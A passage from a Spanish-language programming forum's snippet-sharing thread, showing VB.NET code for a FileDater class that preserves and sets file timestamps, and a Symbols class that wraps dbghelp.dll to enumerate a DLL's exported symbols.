  355.    ''' Restores at once all the preserved dates on the file.
  356.    ''' Note: Calling this method does not cause the deletion of any preserved date.
  357.    ''' </summary>
  358.    Public Sub Restore()
  359.  
  360.        Me.DisposedCheck()
  361.  
  362.        ' Creation
  363.        If Me._PreservedTypes.HasFlag(FileDater.DateType.Created) Then
  364.            Me._File.CreationTime = Me._PreservedCreationDate
  365.        End If
  366.  
  367.        ' Accessed
  368.        If Me._PreservedTypes.HasFlag(FileDater.DateType.Accessed) Then
  369.            Me._File.LastAccessTime = Me._PreservedLastAccessDate
  370.        End If
  371.  
  372.        ' Modified
  373.        If Me._PreservedTypes.HasFlag(FileDater.DateType.Modified) Then
  374.            Me._File.LastWriteTime = Me._PreservedLastModifyDate
  375.        End If
  376.  
  377.    End Sub
  378.  
  379.    ''' <summary>
  380.    ''' Sets the specified dates on the file.
  381.    ''' Note:
  382.    ''' Calling this method does not cause the deletion of any preserved date.
  383.    ''' After setting a date, must call once the <see cref="Preserve"/> method if want to preserve any new date established.
  384.    ''' </summary>
  385.    ''' <param name="DateType">Indicates the type of dates to set on the file.</param>
  386.    ''' <param name="Date">Indicates the date.</param>
  387.    Public Sub [Set](ByVal DateType As DateType, ByVal [Date] As Date)
  388.  
  389.        Me.DisposedCheck()
  390.  
  391.        ' Creation
  392.        If DateType.HasFlag(FileDater.DateType.Created) Then
  393.            Me._File.CreationTime = [Date]
  394.        End If
  395.  
  396.        ' Accessed
  397.        If DateType.HasFlag(FileDater.DateType.Accessed) Then
  398.            Me._File.LastAccessTime = [Date]
  399.        End If
  400.  
  401.        ' Modified
  402.        If DateType.HasFlag(FileDater.DateType.Modified) Then
  403.            Me._File.LastWriteTime = [Date]
  404.        End If
  405.  
  406.    End Sub
  407.  
  408.    ''' <summary>
  409.    ''' Sets at once all the dates on the file.
  410.    ''' Note:
  411.    ''' Calling this method does not cause the deletion of any preserved date.
  412.    ''' After setting a date, must call once the <see cref="Preserve"/> method if want to preserve any new date established.
  413.    ''' </summary>
  414.    ''' <param name="Date">Indicates the date.</param>
  415.    Public Sub [Set](ByVal [Date] As Date)
  416.  
  417.        Me.DisposedCheck()
  418.  
  419.        Me._File.CreationTime = [Date]
  420.        Me._File.LastAccessTime = [Date]
  421.        Me._File.LastWriteTime = [Date]
  422.  
  423.    End Sub
  424.  
  425.    ''' <summary>
  426.    ''' Causes this <see cref="FileDater"/> instance to assign a new location for the current file.
  427.    ''' This could be useful if the preserved dates should be restored in a file that has changed its name/ubication.
  428.    ''' Note: Calling this method does not cause the deletion of any preserved date.
  429.    ''' </summary>
  430.    ''' <param name="File">Indicates the <see cref="FileInfo"/> instance.</param>
  431.    ''' <exception cref="System.Exception"></exception>
  432.    Public Sub SetFileLocation(ByVal [File] As FileInfo)
  433.  
  434.        If Not InstancedFiles.Contains([File]) Then
  435.            InstancedFiles.Remove(Me._File)
  436.            Me._File = [File]
  437.            InstancedFiles.Add([File])
  438.  
  439.        Else
  440.            Throw New Exception(String.Format("Another instance of the '{0}' class is using the same file.", MyBase.GetType.Name))
  441.  
  442.        End If
  443.  
  444.    End Sub
  445.  
  446.    ''' <summary>
  447.    ''' Causes this <see cref="FileDater"/> instance to assign a new location for the current file.
  448.    ''' This could be useful if the preserved dates should be restored in a file that has changed its name/ubication.
  449.    ''' Note: Calling this method does not cause the deletion of any preserved date.
  450.    ''' </summary>
  451.    ''' <param name="File">Indicates the file.</param>
  452.    ''' <exception cref="System.Exception"></exception>
  453.    Public Sub SetFileLocation(ByVal [File] As String)
  454.  
  455.        Me.SetFileLocation(New FileInfo([File]))
  456.  
  457.    End Sub
  458.  
  459. #End Region
  460.  
  461. #Region " IDisposable "
  462.  
  463.    ''' <summary>
  464.    ''' To detect redundant calls when disposing.
  465.    ''' </summary>
  466.    Private IsDisposed As Boolean = False
  467.  
  468.    ''' <summary>
  469.    ''' Prevent calls to methods after disposing.
  470.    ''' </summary>
  471.    ''' <exception cref="System.ObjectDisposedException"></exception>
  472.    Private Sub DisposedCheck()
  473.  
  474.        If Me.IsDisposed Then
  475.            Throw New ObjectDisposedException(Me.GetType().FullName)
  476.        End If
  477.  
  478.    End Sub
  479.  
  480.    ''' <summary>
  481.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  482.    ''' </summary>
  483.    Public Sub Dispose() Implements IDisposable.Dispose
  484.        Dispose(True)
  485.        GC.SuppressFinalize(Me)
  486.    End Sub
  487.  
  488.    ''' <summary>
  489.    ''' Releases unmanaged and - optionally - managed resources.
  490.    ''' </summary>
  491.    ''' <param name="IsDisposing">
  492.    ''' <c>true</c> to release both managed and unmanaged resources;
  493.    ''' <c>false</c> to release only unmanaged resources.
  494.    ''' </param>
  495.    Protected Sub Dispose(ByVal IsDisposing As Boolean)
  496.  
  497.        If Not Me.IsDisposed Then
  498.  
  499.            If IsDisposing Then
  500.                InstancedFiles.Remove(Me._File)
  501.            End If
  502.  
  503.        End If
  504.  
  505.        Me.IsDisposed = True
  506.  
  507.    End Sub
  508.  
  509. #End Region
  510.  
  511. End Class
  512.  
  513. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 09:02 am
Contiene métodos para enumerar los símbolos de una librería externa, como por ejemplo las funciones publicas, algo parecido a lo que hace la aplicación 'DLL Export Viewer': http://www.nirsoft.net/utils/dll_export_viewer.html

Nota: Como dato de interés, algo que yo también me pregunté en su momento:
         No existe ingeniería inversa posible para obtener las firmas de los métodos, los datatypes de los parámetros.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 05-03-2014
  4. ' ***********************************************************************
  5. ' <copyright file="Symbols.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Private Sub Test() Handles MyBase.Load
  13.  
  14. '    Dim dll As String = "C:\C++ lib x64.dll"
  15. '    Dim initialized As Boolean = False
  16. '    Dim hProcess As IntPtr = Nothing
  17.  
  18. '    Try
  19. '        hProcess = Process.GetCurrentProcess().Handle
  20.  
  21. '        If (Symbols.SymInitialize(hProcess, Nothing, True)) Then
  22. '            initialized = True
  23. '        Else
  24. '            Throw New System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error())
  25. '        End If
  26.  
  27. '        Dim baseOfDll As IntPtr = Symbols.SymLoadModuleEx(hProcess, IntPtr.Zero, dll,
  28. '                                                          Nothing, 0, 0, IntPtr.Zero,
  29. '                                                          Symbols.SymLoadModuleFlags.Module_And_Symbols)
  30.  
  31. '        If (baseOfDll = IntPtr.Zero) Then
  32. '            Throw New System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error())
  33. '        End If
  34.  
  35. '        If Not Symbols.SymEnumSymbols(
  36. '            hProcess,
  37. '            baseOfDll,
  38. '            "*",
  39. '            AddressOf EnumSymProc, IntPtr.Zero
  40. '        ) Then
  41. '            Throw New System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error())
  42. '        End If
  43.  
  44. '    Catch ex As Exception
  45. '        Debug.WriteLine(ex.Message)
  46. '    Finally
  47. '        If (initialized) Then
  48. '            Symbols.SymCleanup(hProcess)
  49. '        End If
  50. '    End Try
  51.  
  52. 'End Sub
  53.  
  54. 'Friend Shared Function EnumSymProc(ByVal pSymInfo As IntPtr,
  55. '                                   ByVal SymbolSize As UInteger,
  56. '                                   ByVal UserContext As IntPtr) As Boolean
  57.  
  58. '    Dim Symbol As New Symbols.SYMBOL_INFO With
  59. '        {
  60. '            .SizeOfStruct = System.Runtime.InteropServices.Marshal.SizeOf(GetType(Symbols.SYMBOL_INFO))
  61. '        }
  62.  
  63. '    System.Runtime.InteropServices.Marshal.PtrToStructure(pSymInfo, Symbol)
  64.  
  65. '    Dim sb As New System.Text.StringBuilder
  66.  
  67. '    With sb
  68.  
  69. '        .AppendLine(String.Format("Address: {0}", CStr(Symbol.Address)))
  70. '        .AppendLine(String.Format("Flags: {0}", Symbol.Flags.ToString))
  71. '        .AppendLine(String.Format("Index: {0}", CStr(Symbol.Index)))
  72. '        .AppendLine(String.Format("Module Base Address: {0}", CStr(Symbol.ModBase)))
  73. '        .AppendLine(String.Format("Name: {0}", Symbol.Name))
  74. '        .AppendLine(String.Format("Size: {0}", CStr(Symbol.Size)))
  75. '        .AppendLine(String.Format("Tag: {0}", Symbol.Tag.ToString))
  76.  
  77. '    End With
  78.  
  79. '    Debug.WriteLine(sb.ToString)
  80.  
  81. '    Return True
  82.  
  83. 'End Function
  84.  
  85. #End Region
  86.  
  87. #Region " Imports "
  88.  
  89. Imports System.ComponentModel
  90. Imports System.Runtime.InteropServices
  91.  
  92. #End Region
  93.  
  94. Public Class Symbols
  95.  
  96. #Region " P/Invoke "
  97.  
  98. #Region " Methods "
  99.  
  100.    ''' <summary>
  101.    ''' Initializes the symbol handler for a process.
  102.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681351%28v=vs.85%29.aspx
  103.    ''' </summary>
  104.    ''' <param name="hProcess">
  105.    ''' A handle that identifies the caller.
  106.    ''' This value should be unique and nonzero, but need not be a process handle.
  107.    ''' However, if you do use a process handle, be sure to use the correct handle.
  108.    ''' If the application is a debugger, use the process handle for the process being debugged.
  109.    ''' Do not use the handle returned by 'GetCurrentProcess' when debugging another process,
  110.    ''' because calling functions like 'SymLoadModuleEx' can have unexpected results.
  111.    ''' </param>
  112.    ''' <param name="UserSearchPath">
  113.    ''' The path, or series of paths separated by a semicolon (;), that is used to search for symbol files.
  114.    ''' If this parameter is NULL, the library attempts to form a symbol path from the following sources:
  115.    ''' The current working directory of the application.
  116.    ''' The _NT_SYMBOL_PATH environment variable.
  117.    ''' The _NT_ALTERNATE_SYMBOL_PATH environment variable.
  118.    ''' </param>
  119.    ''' <param name="fInvadeProcess">
  120.    ''' If this value is TRUE, enumerates the loaded modules for the process
  121.    ''' and effectively calls the 'SymLoadModule64' function for each module.</param>
  122.    ''' <returns>
  123.    ''' If the function succeeds, the return value is <c>true</c>.
  124.    ''' If the function fails, the return value is <c>false</c>.
  125.    ''' </returns>
  126.    <DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  127.    Friend Shared Function SymInitialize(
  128.               ByVal hProcess As IntPtr,
  129.               ByVal UserSearchPath As String,
  130.               <MarshalAs(UnmanagedType.Bool)>
  131.               ByVal fInvadeProcess As Boolean
  132.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  133.    End Function
  134.  
  135.    ''' <summary>
  136.    ''' Deallocates all resources associated with the process handle.
  137.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680696%28v=vs.85%29.aspx
  138.    ''' </summary>
  139.    ''' <param name="hProcess">A handle to the process that was originally passed to the 'SymInitialize' function.</param>
  140.    ''' <returns>
  141.    ''' If the function succeeds, the return value is <c>true</c>.
  142.    ''' If the function fails, the return value is <c>false</c>.
  143.    ''' </returns>
  144.    <DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  145.    Friend Shared Function SymCleanup(
  146.               ByVal hProcess As IntPtr
  147.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  148.    End Function
  149.  
  150.    ''' <summary>
  151.    ''' Sets the options mask.
  152.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681366%28v=vs.85%29.aspx
  153.    ''' </summary>
  154.    ''' <param name="SymOptions"></param>
  155.    ''' <returns>The function returns the current options mask.</returns>
  156.    <DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  157.    Friend Shared Function SymSetOptions(
  158.               ByVal SymOptions As SymOptionFlags
  159.        ) As Integer
  160.    End Function
  161.  
  162.    ''' <summary>
  163.    ''' Loads the symbol table for the specified module.
  164.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681353%28v=vs.85%29.aspx
  165.    ''' </summary>
  166.    ''' <param name="hProcess">
  167.    ''' A handle to the process that was originally passed to the 'SymInitialize' function.
  168.    ''' </param>
  169.    ''' <param name="hFile">
  170.    ''' The 'h fileA' handle to the file for the executable image.
  171.    ''' This argument is used mostly by debuggers, where the debugger passes the file handle obtained from a debugging event.
  172.    ''' A value of NULL indicates that 'hFile' is not used.
  173.    ''' </param>
  174.    ''' <param name="ImageName">
  175.    ''' The name of the executable image.
  176.    ''' This name can contain a partial path, a full path, or no path at all.
  177.    ''' If the file cannot be located by the name provided, the symbol search path is used.
  178.    ''' </param>
  179.    ''' <param name="ModuleName">
  180.    ''' A shortcut name for the module.
  181.    ''' If the pointer value is NULL, the library creates a name using the base name of the symbol file.
  182.    ''' </param>
  183.    ''' <param name="BaseOfDll">
  184.    ''' The load address of the module.
  185.    ''' If the value is zero, the library obtains the load address from the symbol file.
  186.    ''' The load address contained in the symbol file is not necessarily the actual load address.
  187.    ''' Debuggers and other applications having an actual load address should use the real load address when calling this function.
  188.    ''' If the image is a '.pdb' file, this parameter cannot be zero.
  189.    ''' </param>
  190.    ''' <param name="DllSize">
  191.    ''' The size of the module, in bytes.
  192.    ''' If the value is zero, the library obtains the size from the symbol file.
  193.    ''' The size contained in the symbol file is not necessarily the actual size.
  194.    ''' Debuggers and other applications having an actual size should use the real size when calling this function.
  195.    ''' If the image is a '.pdb' file, this parameter cannot be zero.
  196.    ''' </param>
  197.    ''' <param name="Data">
  198.    ''' A pointer to a 'MODLOAD_DATA' structure that represents headers other than the standard PE header.
  199.    ''' This parameter is optional and can be NULL.
  200.    ''' </param>
  201.    ''' <param name="Flags">
  202.    ''' This parameter can be one or more of the 'SymLoadModuleFlags' Enum values.
  203.    ''' If this parameter is zero, the function loads the modules and the symbols for the module.
  204.    ''' </param>
  205.    ''' <returns>
  206.    ''' If the function succeeds, the return value is the base address of the loaded module.
  207.    ''' If the function fails, the return value is zero. To retrieve extended error information, call 'GetLastError'.
  208.    ''' If the module is already loaded, the return value is zero and 'GetLastError' returns 'ERROR_SUCCESS'.
  209.    ''' </returns>
  210.    <DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  211.    Friend Shared Function SymLoadModuleEx(
  212.               ByVal hProcess As IntPtr,
  213.               ByVal hFile As IntPtr,
  214.               ByVal ImageName As String,
  215.               ByVal ModuleName As String,
  216.               ByVal BaseOfDll As Long,
  217.               ByVal DllSize As Integer,
  218.               ByVal Data As IntPtr,
  219.               ByVal Flags As SymLoadModuleFlags
  220.        ) As ULong
  221.    End Function
  222.  
  223.    ''' <summary>
  224.    ''' Enumerates all symbols in a process.
  225.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680718%28v=vs.85%29.aspx
  226.    ''' </summary>
  227.    ''' <param name="hProcess">
  228.    ''' A handle to a process.
  229.    ''' This handle must have been previously passed to the 'SymInitialize' function.
  230.    ''' </param>
  231.    ''' <param name="BaseOfDll">
  232.    ''' The base address of the module.
  233.    ''' If this value is zero and 'Mask' contains an exclamation point (!),
  234.    ''' the function looks across modules.
  235.    ''' If this value is zero and 'Mask' does not contain an exclamation point,
  236.    ''' the function uses the scope established by the 'SymSetContext' function.
  237.    ''' </param>
  238.    ''' <param name="Mask">
  239.    ''' A wildcard string that indicates the names of the symbols to be enumerated.
  240.    ''' The text can optionally contain the wildcards, "*" and "?".
  241.    ''' </param>
  242.    ''' <param name="EnumSymbolsCallback">
  243.    ''' A 'SymEnumSymbolsProc' callback function that receives the symbol information.
  244.    ''' </param>
  245.    ''' <param name="UserContext">
  246.    ''' A user-defined value that is passed to the callback function, or NULL.
  247.    ''' This parameter is typically used by an application to pass a pointer to a data structure
  248.    ''' that provides context for the callback function.
  249.    ''' </param>
  250.    ''' <returns>
  251.    ''' If the function succeeds, the return value is <c>true</c>.
  252.    ''' If the function fails, the return value is <c>false</c>.
  253.    ''' </returns>
  254.    <DllImport("dbghelp.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  255.    Friend Shared Function SymEnumSymbols(
  256.               ByVal hProcess As IntPtr,
  257.               ByVal BaseOfDll As ULong,
  258.               <MarshalAs(UnmanagedType.LPWStr)>
  259.               ByVal Mask As String,
  260.               ByVal EnumSymbolsCallback As SymEnumSymbolsProc,
  261.               ByVal UserContext As IntPtr
  262.        ) As Boolean
  263.    End Function
  264.  
  265. #End Region
  266.  
  267. #End Region
  268.  
  269. #Region " Types "
  270.  
  271.    ''' <summary>
  272.    ''' Contains symbol information.
  273.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680686%28v=vs.85%29.aspx
  274.    ''' </summary>
  275.    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Auto)>
  276.    Public Class SYMBOL_INFO
  277.  
  278.        ''' <summary>
  279.        ''' The size of the structure, in bytes.
  280.        ''' This member must be set to sizeof(SYMBOL_INFO).
  281.        ''' Note that the total size of the data is the SizeOfStruct + (MaxNameLen - 1) * sizeof(TCHAR).
  282.        ''' The reason to subtract one is that the first character in the name is accounted for in the size of the structure.
  283.        ''' </summary>
  284.        Public SizeOfStruct As UInteger
  285.  
  286.        ''' <summary>
  287.        ''' A unique value that identifies the type data that describes the symbol.
  288.        ''' This value does not persist between sessions.
  289.        ''' </summary>
  290.        Public TypeIndex As UInteger
  291.  
  292.        ''' <summary>
  293.        ''' This member is reserved for system use.
  294.        ''' </summary>
  295.        Public Reserved1 As ULong
  296.  
  297.        ''' <summary>
  298.        ''' This member is reserved for system use.
  299.        ''' </summary>
  300.        Public Reserved2 As ULong
  301.  
  302.        ''' <summary>
  303.        ''' The unique value for the symbol.
  304.        ''' The value associated with a symbol is not guaranteed to be the same each time you run the process.
  305.        ''' For PDB symbols, the index value for a symbol is not generated until
  306.        ''' the symbol is enumerated or retrieved through a search by name or address.
  307.        ''' The index values for all CodeView and COFF symbols are generated when the symbols are loaded.
  308.        ''' </summary>
  309.        Public Index As UInteger
  310.  
  311.        ''' <summary>
  312.        ''' The symbol size, in bytes.
  313.        ''' This value is meaningful only if the module symbols are from a pdb file;
  314.        ''' otherwise, this value is typically zero and should be ignored.
  315.        ''' </summary>
  316.        Public Size As UInteger
  317.  
  318.        ''' <summary>
  319.        ''' The base address of the module that contains the symbol.
  320.        ''' </summary>
  321.        Public ModBase As ULong
  322.  
  323.        ''' <summary>
  324.        ''' The symbol information.
  325.        ''' This member can be one or more of the 'SymFlag' values.
  326.        ''' </summary>
  327.        Public Flags As SymFlag
  328.  
  329.        ''' <summary>
  330.        ''' The value of a constant.
  331.        ''' </summary>
  332.        Public Value As ULong
  333.  
  334.        ''' <summary>
  335.        ''' The virtual address of the start of the symbol.
  336.        ''' </summary>
  337.        Public Address As ULong
  338.  
  339.        ''' <summary>
  340.        ''' The register.
  341.        ''' </summary>
  342.        Public Register As UInteger
  343.  
  344.        ''' <summary>
  345.        ''' The DIA scope.
  346.        ''' For more information, see the Debug Interface Access SDK in the Visual Studio documentation.
  347.        ''' (This resource may not be available in some languages and countries.)
  348.        ''' </summary>
  349.        Public Scope As UInteger
  350.  
  351.        ''' <summary>
  352.        ''' The PDB classification.
  353.        ''' These values are defined in 'Dbghelp.h' in the 'SymTagEnum' enumeration type.
  354.        ''' </summary>
  355.        Public Tag As SymTagEnum
  356.  
  357.        ''' <summary>
  358.        ''' The length of the name, in characters, not including the null-terminating character.
  359.        ''' </summary>
  360.        Public NameLen As UInteger
  361.  
  362.        ''' <summary>
  363.        ''' The size of the Name buffer, in characters.
  364.        ''' If this member is 0, the Name member is not used.
  365.        ''' </summary>
  366.        Public MaxNameLen As UInteger
  367.  
  368.        ''' <summary>
  369.        ''' The name of the symbol.
  370.        ''' The name can be undecorated if the 'SYMOPT_UNDNAME' option is used with the 'SymSetOptions' function.
  371.        ''' </summary>
  372.        <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=1024I)>
  373.        Public Name As String
  374.  
  375.    End Class
  376.  
  377. #End Region
  378.  
  379. #Region " Enumerations "
  380.  
  381.    ''' <summary>
  382.    ''' Flags for 'SymLoadModuleEx' function.
  383.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681353%28v=vs.85%29.aspx
  384.    ''' </summary>
  385.    <Description("Enum used as 'Flags' parameter of 'SymLoadModuleEx' function")>
  386.    <FlagsAttribute()>
  387.    Public Enum SymLoadModuleFlags As Integer
  388.  
  389.        ''' <summary>
  390.        ''' Loads the module and the symbols for the module.
  391.        ''' </summary>
  392.        Module_And_Symbols = &H0UI
  393.  
  394.        ''' <summary>
  395.        ''' Loads the module but not the symbols for the module.
  396.        ''' </summary>
  397.        Only_Module = &H4UI
  398.  
  399.        ''' <summary>
  400.        ''' Creates a virtual module named 'ModuleName' at the address specified in 'BaseOfDll'.
  401.        ''' To add symbols to this module, call the 'SymAddSymbol' function.
  402.        ''' </summary>
  403.        Virtual = &H1UI
  404.  
  405.    End Enum
  406.  
  407.    ''' <summary>
  408.    ''' Contains symbol information.
  409.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms680686%28v=vs.85%29.aspx
  410.    ''' </summary>
  411.    <Description("Enum used as 'Flags' property of 'SYMBOL_INFO' Class")>
  412.    <FlagsAttribute>
  413.    Public Enum SymFlag As UInteger
  414.  
  415.        ''' <summary>
  416.        ''' The Value member is used.
  417.        ''' </summary>
  418.        VALUEPRESENT = &H1UI
  419.  
  420.        ''' <summary>
  421.        ''' The symbol is a register.
  422.        ''' The Register member is used.
  423.        ''' </summary>
  424.        REGISTER = &H8UI
  425.  
  426.        ''' <summary>
  427.        ''' Offsets are register relative.
  428.        ''' </summary>
  429.        REGREL = &H10UI
  430.  
  431.        ''' <summary>
  432.        ''' Offsets are frame relative.
  433.        ''' </summary>
  434.        FRAMEREL = &H20UI
  435.  
  436.        ''' <summary>
  437.        ''' The symbol is a parameter.
  438.        ''' </summary>
  439.        PARAMETER = &H40UI
  440.  
  441.        ''' <summary>
  442.        ''' The symbol is a local variable.
  443.        ''' </summary>
  444.        LOCAL = &H80UI
  445.  
  446.        ''' <summary>
  447.        ''' The symbol is a constant.
  448.        ''' </summary>
  449.        CONSTANT = &H100UI
  450.  
  451.        ''' <summary>
  452.        ''' The symbol is from the export table.
  453.        ''' </summary>
  454.        EXPORT = &H200UI
  455.  
  456.        ''' <summary>
  457.        ''' The symbol is a forwarder.
  458.        ''' </summary>
  459.        FORWARDER = &H400UI
  460.  
  461.        ''' <summary>
  462.        ''' The symbol is a known function.
  463.        ''' </summary>
  464.        [FUNCTION] = &H800UI
  465.  
  466.        ''' <summary>
  467.        ''' The symbol is a virtual symbol created by the 'SymAddSymbol' function.
  468.        ''' </summary>
  469.        VIRTUAL = &H1000UI
  470.  
  471.        ''' <summary>
  472.        ''' The symbol is a thunk.
  473.        ''' </summary>
  474.        THUNK = &H2000UI
  475.  
  476.        ''' <summary>
  477.        ''' The symbol is an offset into the TLS data area.
  478.        ''' </summary>
  479.        TLSREL = &H4000UI
  480.  
  481.        ''' <summary>
  482.        ''' The symbol is a managed code slot.
  483.        ''' </summary>
  484.        SLOT = &H8000UI
  485.  
  486.        ''' <summary>
  487.        ''' The symbol address is an offset relative to the beginning of the intermediate language block.
  488.        ''' This applies to managed code only.
  489.        ''' </summary>
  490.        ILREL = &H10000UI
  491.  
  492.        ''' <summary>
  493.        ''' The symbol is managed metadata.
  494.        ''' </summary>
  495.        METADATA = &H20000UI
  496.  
  497.        ''' <summary>
  498.        ''' The symbol is a CLR token.
  499.        ''' </summary>
  500.        CLR_TOKEN = &H40000UI
  501.  
  502.    End Enum
  503.  
  504.    ''' <summary>
  505.    ''' Specifies the type of symbol.
  506.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/bkedss5f.aspx
  507.    ''' </summary>
  508.    <Description("Enum used as 'Tag' property of 'SYMBOL_INFO' Class")>
  509.    <Flags>
  510.    Public Enum SymTagEnum As UInteger
  511.  
  512.        ''' <summary>
  513.        ''' Indicates that the symbol has no type.
  514.        ''' </summary>
  515.        Null
  516.  
  517.        ''' <summary>
  518.        ''' Indicates that the symbol is an .exe file.
  519.        ''' There is only one SymTagExe symbol per symbol store.
  520.        ''' It serves as the global scope and does not have a lexical parent.
  521.        ''' </summary>
  522.        Exe
  523.  
  524.        ''' <summary>
  525.        ''' Indicates the compiland symbol for each compiland component of the symbol store.
  526.        ''' For native applications, SymTagCompiland symbols correspond to the object files linked into the image.
  527.        ''' For some kinds of Microsoft Intermediate Language (MSIL) images, there is one compiland per class.
  528.        ''' </summary>
  529.        Compiland
  530.  
  531.        ''' <summary>
  532.        ''' Indicates that the symbol contains extended attributes of the compiland.
  533.        ''' Retrieving these properties may require loading compiland symbols.
  534.        ''' </summary>
  535.        CompilandDetails
  536.  
  537.        ''' <summary>
  538.        ''' Indicates that the symbol is an environment string defined for the compiland.
  539.        ''' </summary>
  540.        CompilandEnv
  541.  
  542.        ''' <summary>
  543.        ''' Indicates that the symbol is a function.
  544.        ''' </summary>
  545.        [Function]
  546.  
  547.        ''' <summary>
  548.        ''' Indicates that the symbol is a nested block.
  549.        ''' </summary>
  550.        Block
  551.  
  552.        ''' <summary>
  553.        ''' Indicates that the symbol is data.
  554.        ''' </summary>
  555.        Data
  556.  
  557.        ''' <summary>
  558.        ''' Indicates that the symbol is for a code annotation.
  559.        ''' Children of this symbol are constant data strings (SymTagData, LocIsConstant, DataIsConstant).
  560.        ''' Most clients ignore this symbol.
  561.        ''' </summary>
  562.        Annotation
  563.  
  564.        ''' <summary>
  565.        ''' Indicates that the symbol is a label.
  566.        ''' </summary>
  567.        Label
  568.  
  569.        ''' <summary>
  570.        ''' Indicates that the symbol is a public symbol. For native applications,
  571.        ''' this symbol is the COFF external symbol encountered while linking the image.
  572.        ''' </summary>
  573.        PublicSymbol
  574.  
  575.        ''' <summary>
  576.        ''' Indicates that the symbol is a user-defined type (structure, class, or union).
  577.        ''' </summary>
  578.        UDT
  579.  
  580.        ''' <summary>
  581.        ''' Indicates that the symbol is an enumeration.
  582.        ''' </summary>
  583.        [Enum]
  584.  
  585.        ''' <summary>
  586.        ''' Indicates that the symbol is a function signature type.
  587.        ''' </summary>
  588.        FunctionType
  589.  
  590.        ''' <summary>
  591.        ''' Indicates that the symbol is a pointer type.
  592.        ''' </summary>
  593.        PointerType
  594.  
  595.        ''' <summary>
  596.        ''' Indicates that the symbol is an array type.
  597.        ''' </summary>
  598.        ArrayType
  599.  
  600.        ''' <summary>
  601.        ''' Indicates that the symbol is a base type.
  602.        ''' </summary>
  603.        BaseType
  604.  
  605.        ''' <summary>
  606.        ''' Indicates that the symbol is a typedef, that is, an alias for another type.
  607.        ''' </summary>
  608.        Typedef
  609.  
  610.        ''' <summary>
  611.        ''' Indicates that the symbol is a base class of a user-defined type.
  612.        ''' </summary>
  613.        BaseClass
  614.  
  615.        ''' <summary>
  616.        ''' Indicates that the symbol is a friend of a user-defined type.
  617.        ''' </summary>
  618.        [Friend]
  619.  
  620.        ''' <summary>
  621.        ''' Indicates that the symbol is a function argument.
  622.        ''' </summary>
  623.        FunctionArgType
  624.  
  625.        ''' <summary>
  626.        ''' Indicates that the symbol is the end location of the function's prologue code.
  627.        ''' </summary>
  628.        FuncDebugStart
  629.  
  630.        ''' <summary>
  631.        ''' Indicates that the symbol is the beginning location of the function's epilogue code.
  632.        ''' </summary>
  633.        FuncDebugEnd
  634.  
  635.        ''' <summary>
  636.        ''' Indicates that the symbol is a namespace name, active in the current scope.
  637.        ''' </summary>
  638.        UsingNamespace
  639.  
  640.        ''' <summary>
  641.        ''' Indicates that the symbol is a virtual table description.
  642.        ''' </summary>
  643.        VTableShape
  644.  
  645.        ''' <summary>
  646.        ''' Indicates that the symbol is a virtual table pointer.
  647.        ''' </summary>
  648.        VTable
  649.  
  650.        ''' <summary>
  651.        ''' Indicates that the symbol is a custom symbol and is not interpreted by DIA.
  652.        ''' </summary>
  653.        Custom
  654.  
  655.        ''' <summary>
  656.        ''' Indicates that the symbol is a thunk used for sharing data between 16 and 32 bit code.
  657.        ''' </summary>
  658.        Thunk
  659.  
  660.        ''' <summary>
  661.        ''' Indicates that the symbol is a custom compiler symbol.
  662.        ''' </summary>
  663.        CustomType
  664.  
  665.        ''' <summary>
  666.        ''' Indicates that the symbol is in metadata.
  667.        ''' </summary>
  668.        ManagedType
  669.  
  670.        ''' <summary>
  671.        ''' Indicates that the symbol is a FORTRAN multi-dimensional array.
  672.        ''' </summary>
  673.        Dimension
  674.  
  675.        ''' <summary>
  676.        ''' Indicates that the symbol represents the call site.
  677.        ''' </summary>
  678.        CallSite
  679.  
  680.        ''' <summary>
  681.        ''' Indicates that the symbol represents the inline site.
  682.        ''' </summary>
  683.        InlineSite
  684.  
  685.        ''' <summary>
  686.        ''' Indicates that the symbol is a base interface.
  687.        ''' </summary>
  688.        BaseInterface
  689.  
  690.        ''' <summary>
  691.        ''' Indicates that the symbol is a vector type.
  692.        ''' </summary>
  693.        VectorType
  694.  
  695.        ''' <summary>
  696.        ''' Indicates that the symbol is a matrix type.
  697.        ''' </summary>
  698.        MatrixType
  699.  
  700.        ''' <summary>
  701.        ''' Indicates that the symbol is a High Level Shader Language type.
  702.        ''' </summary>
  703.        HLSLType
  704.  
  705.    End Enum
  706.  
  707.    ''' <summary>
  708.    ''' Sets the options mask.
  709.    ''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681366%28v=vs.85%29.aspx
  710.    ''' </summary>
  711.    <Description("Enum used as 'SymOptions' parameter of 'SymSetOptions' function")>
  712.    <Flags>
  713.    Public Enum SymOptionFlags As Integer
  714.  
